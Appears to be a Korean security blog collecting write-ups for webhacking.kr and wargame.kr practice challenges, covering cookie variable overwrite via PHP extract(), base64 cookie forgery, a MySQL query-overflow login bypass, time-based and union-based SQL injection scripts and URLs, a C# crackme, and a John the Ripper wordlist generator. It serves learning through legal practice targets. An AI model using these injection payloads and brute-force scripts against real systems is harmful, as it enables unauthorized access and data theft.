반응형
반응형
반응형

client ip와 agent 정보를 확인할 수 있고

 

아래에는 wrong IP라고 적혀 있다. 일단 ip값을 맞추면 되는 문제라고 추측해볼 수 있다.

 

 

소스를 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 24</title>
</head>
<body>
<p>
<?php
  extract($_SERVER);
  extract($_COOKIE);
  $ip = $REMOTE_ADDR;
  $agent = $HTTP_USER_AGENT;
  if($REMOTE_ADDR){
    $ip = htmlspecialchars($REMOTE_ADDR);
    $ip = str_replace("..",".",$ip);
    $ip = str_replace("12","",$ip);
    $ip = str_replace("7.","",$ip);
    $ip = str_replace("0.","",$ip);
  }
  if($HTTP_USER_AGENT){
    $agent=htmlspecialchars($HTTP_USER_AGENT);
  }
  echo "<table border=1><tr><td>client ip</td><td>{$ip}</td></tr><tr><td>agent</td><td>{$agent}</td></tr></table>";
  if($ip=="127.0.0.1"){
    solve(24);
    exit();
  }
  else{
    echo "<hr><center>Wrong IP!</center>";
  }
?><hr>
<a href=?view_source=1>view-source</a>
</body>
</html>
cs

 

$ip가 127.0.0.1이 되면 문제가 풀린다.

 

extract 함수는 배열의 키값을 변수화 시켜주는 함수이다. 12행에 extract($_COOKIE); 가 있기 때문에

cookie에 REMOTE_ADDR="abcd"를 넣어주면, $REMOTE_ADDR의 값이 "abcd"가 되어 13행에서 $ip에 "abcd"값이 들어가게 된다.

 

17~20행에서 특정 문자열이 치환되는 것을 고려하여 결과가 127.0.0.1이 되는 입력값은 112277...00...00...1 이다.

 

따라서 쿠키에 REMOTE_ADDR라는 이름에 값을 112277...00...00...1으로 설정해주면 된다.

반응형
반응형

 

 

문제 페이지에 들어가면 입력받는 폼이 하나 있고 check 버튼이 하나 존재한다.

 

 

이 것외에 아무것도 없기 때문에 페이지 소스를 확인해 보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 
<html>
<head>
<title>Challenge 17</title>
</head>
<body bgcolor=black>
<font color=red size=10></font>
<p>
<form name=login>
<input type=passwd name=pw><input type=button onclick=sub() value="check">
</form>
<script>
unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+1/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10-100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+9999999;
function sub(){ if(login.pw.value==unlock){ location.href="?"+unlock/10; } elsealert("Wrong"); } }
</script>
cs

 

check 버튼을 클릭하면 sub()함수가 호출이 된다.

 

sub()함수를 보면 입력된 값 (pw)가 unlock이랑 값이 같으면 URL?unlock/10 페이지로 이동한다.

 

 

 

크롬 개발자도구 콘솔을 이용하여 해당 페이지로 바로 이동하면 문제가 풀린다.

 

 

반응형
반응형

 

 

 

문제 페이지로 접속을 하면 소스를 볼 수 있는 링크가 있으며, idpw가 적혀 있다.

 

 

view-source를 클릭하여 소스코드를 확인하자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
if(!$_COOKIE['user']){
  $val_id="guest";
  $val_pw="123qwe";
  for($i=0;$i<20;$i++){
    $val_id=base64_encode($val_id);
    $val_pw=base64_encode($val_pw);
  }
  $val_id=str_replace("1","!",$val_id);
  $val_id=str_replace("2","@",$val_id);
  $val_id=str_replace("3","$",$val_id);
  $val_id=str_replace("4","^",$val_id);
  $val_id=str_replace("5","&",$val_id);
  $val_id=str_replace("6","*",$val_id);
  $val_id=str_replace("7","(",$val_id);
  $val_id=str_replace("8",")",$val_id);
 
  $val_pw=str_replace("1","!",$val_pw);
  $val_pw=str_replace("2","@",$val_pw);
  $val_pw=str_replace("3","$",$val_pw);
  $val_pw=str_replace("4","^",$val_pw);
  $val_pw=str_replace("5","&",$val_pw);
  $val_pw=str_replace("6","*",$val_pw);
  $val_pw=str_replace("7","(",$val_pw);
  $val_pw=str_replace("8",")",$val_pw);
 
  Setcookie("user",$val_id,time()+86400,"/challenge/web-06/");
  Setcookie("password",$val_pw,time()+86400,"/challenge/web-06/");
  echo("<meta http-equiv=refresh content=0>");
  exit;
}
?>
<html>
<head>
<title>Challenge 6</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<?php
$decode_id=$_COOKIE['user'];
$decode_pw=$_COOKIE['password'];
 
$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);
 
$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);
 
for($i=0;$i<20;$i++){
  $decode_id=base64_decode($decode_id);
  $decode_pw=base64_decode($decode_pw);
}
 
echo("<hr><a href=./?view_source=1 style=color:yellow;>view-source</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");
 
if($decode_id=="admin" && $decode_pw=="nimda"){
  solve(6);
}
?>
</body>
</html>
cs

 

4~33행은 cookie에 user값이 없으면, id와 pw를 각각 guest, 123qwe로 두고 인코딩하여 쿠키값을 설정하는 과정이고, 44~68행은 설정된 user와 password 쿠키값을 디코딩하는 과정이다.

 

73행에서는 디코딩된 id와 pw값이 각각 admin, nimda라면 문제가 풀리는 것을 알 수 있다.

 

 

인코딩 과정을 보면, 먼저 평문을 base64로 20번 인코딩하고 str_replace함수로 문자를 치환한다.

 

이 과정을 그대로 python으로 작성하여 id와 pw를 admin과 nimda로 두면 인코딩된 쿠키값을 얻을 수 있다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
 
def enc(value):
  for i in range(20):
      value = str(base64.b64encode(bytes(value)))
  value = value.replace("1","!")
  value = value.replace("2","@")
  value = value.replace("3","$")
  value = value.replace("4","^")
  value = value.replace("5","&")
  value = value.replace("6","*")
  value = value.replace("7","(")
  value = value.replace("8",")")
 
  return value
 
id = "admin"
pw = "nimda"
 
print(enc(id) + "\n\n")
print(enc(pw))
 
cs

 

 

실행 결과:

 

 

쿠키 값 설정은 크롬 확장프로그램 중에서 editthiscookie를 사용했다.

 

설정 후 페이지를 새로고침하면 문제가 풀린다.

반응형
반응형

CustomOS

 

Run Disk.img at Virtual Machines
Disk.img is Floppy Disk

- thx to KSHMK

 

 

해당 img파일은

 

 

qemu-system-i386.exe -fda Disk.img

 

이렇게 부팅이 가능하다. (관리자권한필요)

 

 

 

부팅은 했는데.. 디버깅은?

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [DLL with notepad] 풀이  (0) 2020.01.08
Wargame.kr [QnA] 풀이  (0) 2020.01.06
Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
반응형

login with crypto! but..

 

 

sucker_enc is sucks.

Can you login?

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
 
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
 
include("../lib.php"); // include for auth_code function.
/*******************************************************
- DB SCHEMA (initilizing)
 
create table accounts(
 idx int auto_increment primary key,
 user_id varchar(32) not null unique,
 user_ps varchar(64) not null,
 encrypt_ss text not null
);
 
********************************************************/
 
function db_conn(){
 mysql_connect("localhost","login_with_cryp","login_with_crypto_but_pz");
 mysql_select_db("login_with_crypto_but");
}
 
function init(){
 db_conn();
 $password = crypt(rand().sha1(file_get_contents("/var/lib/dummy_file").rand())).rand();
 mysql_query("insert into accounts values (null,'admin','{$password}','".sucker_enc('881114')."')"); // admin`s password is secret! xD
 mysql_query("insert into accounts values (null,'guest','guest','".sucker_enc('000000')."')");
}
//init(); // create user for initializing
 
function enc($str){
 $s_key = "L0V3LySH:butsheismyxgf..";
 $s_vector_iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_3DES, MCRYPT_MODE_ECB), MCRYPT_RAND);
 $en_str = mcrypt_encrypt(MCRYPT_3DES, $s_key$str, MCRYPT_MODE_ECB, $s_vector_iv);
 $en_base64 = base64_encode($en_str);
 $en_hex = bin2hex($en_str);
 return $en_hex;
}
 
function sucker_enc($str){
 for($i=0;$i<8;$i++$str = enc($str);
 return $str;
}
 
function get_password($user,$ssn){
 db_conn();
 $user = mysql_real_escape_string($user);
 $ssn  = mysql_real_escape_string($ssn);
 $result = mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
 $row = mysql_fetch_array($result);
 if ($row === false) {
  die("there is not valid account!");
 }
 return $row[0]; 
}
 
ini_set("display_errors"true);
 
if( (isset($_POST['user']) && isset($_POST['ssn']) && isset($_POST['pass'])) ){
 
 sleep(2); // do not bruteforce !!!! this challenge is not for bruteforce!!
 
 if($_POST['pass'== get_password($_POST['user'],$_POST['ssn'])){
 
  if($_POST['user'== "admin"){
   echo "Login Success!!! PASSWORD IS : <b>".auth_code("login with crypto! but..")."</b>";
  }else{
   echo "Login Success. but you r not 'admin'..";
  }
 }else{
  echo "Login Failed";
 }
 
}
 
?>
<hr />
<form method="post" action="./index.php">
<table>
 <tr><td>Identify</td><td><input type='text' value='guest' maxlength='32' name='user' /></td>
 <tr><td>Social Security</td><td><input type='text' maxlength='6' value='000000' name='ssn' /></td>
 <tr><td>PASSWORD</td><td><input type='text' value='guest' name='pass' /></td>
 <tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
<hr />
<a href='./?view-source'>GET SOURCE</a>
cs

 

 

php overflow를 이용하는 문제다.

 

 

 

 

 

 

52행 쿼리문에서 sucker_enc($ssn) 값이 매우 길어져서 쿼리문이 매우 길어지면 쿼리 실행에서 overflow가 나서

mysql_query함수가 false를 반환하게 된다.

 

그럼 mysql_fetch_array(Flase)는 null 값을 반환한다.

 

 

 

 

 

 

 

 

66행에서 get_password(...)의 값이 null이 되고, pass값에 아무입력을 하지 않으면

 

"" == null이 참이되어 admin으로 로그인이 가능하다.

 

 

 

 

 

 

 

 

ssn에 값을 너무 크게 주면 php가 터져버린다.

 

Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 56391681 bytes) in /var/www/html/login_with_crypto_but/index.php on line 39

 

이 오류메세지를 참고해서 ssn의 값의 크기를 조절하면 된다.

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib
import urllib2
 
def chk(payload):
    url = "http://wargame.kr:8080/login_with_crypto_but/index.php"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"user""admin""pass""""ssn": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    #print(payload)
    print data
    return data
 
payload = "A"*81114
chk(payload)
 
 
cs
반응형
반응형

DLL with notepad

 

DLL Reverse Engineering Challenge.

Can you reversing DLL File?

 

 

 

파일이 두개 들어있는 압축파일이 주어진다.

 

notepad.exe는 메모장과 별 다를게 없어보인다.

 

blueh4g13.dll 파일을 ida로 열어서 shift+f12로 문자열을 확인해 보았다.

 

 

oh!로 시작하는 문자열을 찾을 수 있다.

 

 

sub_100010C0에서 사용되었다.

 

 

 

ollydbg로 notepad.exe를 열어서 view> Executable modules로 들어간다. (Alt+E)

 

거기서 blueh4g13.dll 파일을 찾아서 더블클릭.

 

F9로 실행을 한 뒤, dll 파일에서 문자열을 확인해 주면 key값을 찾을 수 있다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [CustomOS]  (0) 2020.01.09
Wargame.kr [QnA] 풀이  (0) 2020.01.06
Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
반응형

QnA

 

Time based SQLi challenge. (with Insert Query)

you can't see the result after insert query.
but you can SQLi Attack!

 

 

 

time based sqli를 사용해야하나 보다

 

 

 

 

to JSMater에서 type에서 sqli이 일어난다.

 

 

lonely guys에서 사용했던 스크립트 거의 그대로 사용하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyz"
 
 
key = ""
 
 
def chk(payload):
    url = "http://wargame.kr:8080/qna/?page=to_jsmaster"
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    data = {"cont""a""mail""guest""type": payload}
    data = urllib.urlencode(data)
    request = urllib2.Request(url, data)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    data = opener.open(request)
    data = data.read()
 
    print(payload)
    #print data
    return data
 
 
for i in range(40):
    for j in range(len(string)):
        payload = "if("+str(ord(string[j]))+"=ord((select substr(authkey,"+str(i+1)+",1) from authkey)),sleep(1),1)"
 
        start = time.time()
 
        chk(payload)
 
        end= time.time()-start
 
 
        if end > 1:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [CustomOS]  (0) 2020.01.09
Wargame.kr [DLL with notepad] 풀이  (0) 2020.01.08
Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
반응형

dmbs335

SQL injection Challenge!
(injection)

- thx to dmbs335

 

 

 

표가 하나 있고, 하단에 검색 도구가 존재한다.

 

Num subject content writer
3 welcome to wargame.kr =D guest
2 nice challenge! dummy data bughela
1 hello world! This is Content1 dmbs335
 

 

 

소스를 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php 
function getOperator(&$operator) { 
    switch($operator) { 
        case 'and'
        case '&&'
            $operator = 'and'
            break
        case 'or'
        case '||'
            $operator = 'or'
            break
        default
            $operator = 'or'
            break
}} 
 
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}
 
parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''
 
if(!isset($search_cols)) { 
    $search_cols = 'subject|content'
 
$cols = explode('|',$search_cols); 
 
foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"
    } 
 
    if($query_parts) { 
        $where_clause .= $query_parts
        $where_clause .= ' '
        $where_clause .= $operator
        $where_clause .= ' '
        $query_parts = ''
    } 
 
if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause- (strlen($operator+ 2);
    $where_clause = substr($where_clause0$len); 
 
 
?>
 
  
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
 
cs

 

핵심만 가져왔다.

 

 

검색을 하게 되면 ?search_cols=subject&keyword=1234&operator=or  이렇게 get 방식으로 값을 전달한다.

 

 

operator의 경우, 22행에 의해 and나 or로만 설정이 된다.

 

search_cols도 33행 필터링에 의해 subject|content|writer 밖에 못 들어간다.

 

 

 

인젝션을 할 만한 곳을 찾아야 한다.

초기화를 하지 않는 변수가 있다.

 

query_parts 인데, parse_str함수를 사용하였기 때문에 query_parts에 내가 원하는 값을 넣어버릴 수가 있다.

 

search_cols에 subject|content|writer 를 제외한 다른 값 (ex: a)를 넣고

operator에는 or 넣어주고

query_parts에 1 union select 1,2,3,4#을 넣는다고 하면,

 

34~36행을 실행되지 않게 되며, 최종 쿼리가 아래와 같이 된다.

 

select * from board where 1 union select 1,2,3,4# or   order by idx desc

 

인젝션 성공!

 

 

테이블명 쏙 가져오고

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,table_name,3,4%20from%20information_schema.tables%23

 

Th1s_1s_Flag_tbl

 

 

 

 

칼럼명 쏙 가져오고

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,column_name,3,4%20from%20information_schema.columns%23

 

f1ag

 

 

 

 

 

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,f1ag,3,4%20from%20Th1s_1s_Flag_tbl%23

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [DLL with notepad] 풀이  (0) 2020.01.08
Wargame.kr [QnA] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
반응형

Crypto Crackme Basic

 

Simple Reverse Engineering.

Can you Reversing for C# Application?

 

 

c#으로 된 프로그램은 jetbrains의 dotpeek을 사용하면 된다.

 

 

 

이름과 패스워드를 입력받는데

이름은 BluSH4G이어야 하고, 패스워드는 name과 함께 myEncrypt함수를 통과한 값과 getps(name)값과 같아야 한다.

 

 

 

 

 

getps(name)값은 아래 url로 받아올 수 있다.

 

http://wargame.kr:8080/prob/28/ps.php?n=BluSH4G

2P+SLRAhCTi7q0fVZR4VCnBNDzq9qemqIcZwUQ7PV5e03KyChSw6bEcJz0MBVYFo

 

 

 

 

 

이제 myEncrypt함수를 살펴보자

 

 

 

DES 암호화

ECB 모드

 

bytes1 값은 mPadding(name)

 

 

 

 

name은 BluSH4G로 7자리다.

따라서 s는 BluSH4G* 이 된다.

 

 

bytes1은 key값이 된다.

 

 

 

이걸로 복호화를 때려보자

 

https://encode-decode.com/des-ecb-encrypt-online/

 

des-ecb encrypt & decrypt online | encode-decode.com

supported encryptions: aes-128-cbc aes-128-cbc-hmac-sha1 aes-128-cfb aes-128-cfb1 aes-128-cfb8 aes-128-ctr aes-128-ecb aes-128-ofb aes-128-xts aes-192-cbc aes-192-cfb aes-192-cfb1 aes-192-cfb8 aes-192-ctr aes-192-ecb aes-192-ofb aes-256-cbc aes-256-cbc-hma

encode-decode.com

 

 

복호화를 하면 flag가 바로 나온다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [QnA] 풀이  (0) 2020.01.06
Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
반응형

crack crack crack it

 

.htaccess crack!

can you local bruteforce attack?

 

 

 

john the ripper 를 사용하면 될 것 같다.

 

단, jtr은 문자 포멧을 따로 받을 수 없다.

 

그래서 스크립트를 짜서 wordlist를 만들어서 넘겨주어야 한다.

 

1
2
3
4
5
6
7
8
from itertools import product
 
= '0123456789abcdefghijklmnopqrstuvwxyz'
 
for n in range(4,10):
    for cc in product(c,repeat=n):
        print 'G4HeulB'+"".join(cc)
 
cs

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06
Wargame.kr [keypad CrackMe] 풀이  (0) 2020.01.06
Wargame.kr [ip log table] 풀이  (0) 2020.01.04

+ Recent posts